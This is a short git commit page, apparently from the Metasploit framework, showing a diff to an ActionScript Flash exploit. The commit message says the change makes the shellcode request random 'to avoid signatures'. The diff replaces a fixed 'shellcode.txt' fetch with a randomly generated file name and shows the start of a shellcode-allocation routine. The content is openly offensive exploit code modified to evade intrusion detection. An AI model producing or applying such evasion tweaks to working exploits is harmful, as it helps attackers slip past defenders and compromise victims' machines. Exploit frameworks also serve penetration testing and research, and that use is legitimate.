made the shellcode request random to avoid signatures
git-svn-id: file:///home/svn/framework3/trunk@12148 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
81fae13258
commit
8c614a9296
Binary file not shown.
|
@ -26,12 +26,22 @@ package {
|
|||
static var remainder:int;
|
||||
|
||||
public function exploit():void {
|
||||
var path:String = ExternalInterface.call("window.location.href.toString") + "/shellcode.txt";
|
||||
var path:String = ExternalInterface.call("window.location.href.toString") + randname(6) + ".txt";
|
||||
var urlRequest:URLRequest = new URLRequest(path);
|
||||
urlLoader.dataFormat = URLLoaderDataFormat.TEXT; // default
|
||||
urlLoader.addEventListener(Event.COMPLETE, urlLoader_complete);
|
||||
urlLoader.load(urlRequest);
|
||||
}
|
||||
|
||||
public function randname(newLength:Number):String{
|
||||
var a:String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
var alphabet:Array = a.split("");
|
||||
var randomLetter:String = "";
|
||||
for (var i:Number = 0; i < newLength; i++){
|
||||
randomLetter += alphabet[Math.floor(Math.random() * alphabet.length)];
|
||||
}
|
||||
return randomLetter;
|
||||
}
|
||||
|
||||
public function alloc_shellcode(p:String):void {
|
||||
var val:ByteArray = new ByteArray();
|
||||
|
|
Loading…
Reference in New Issue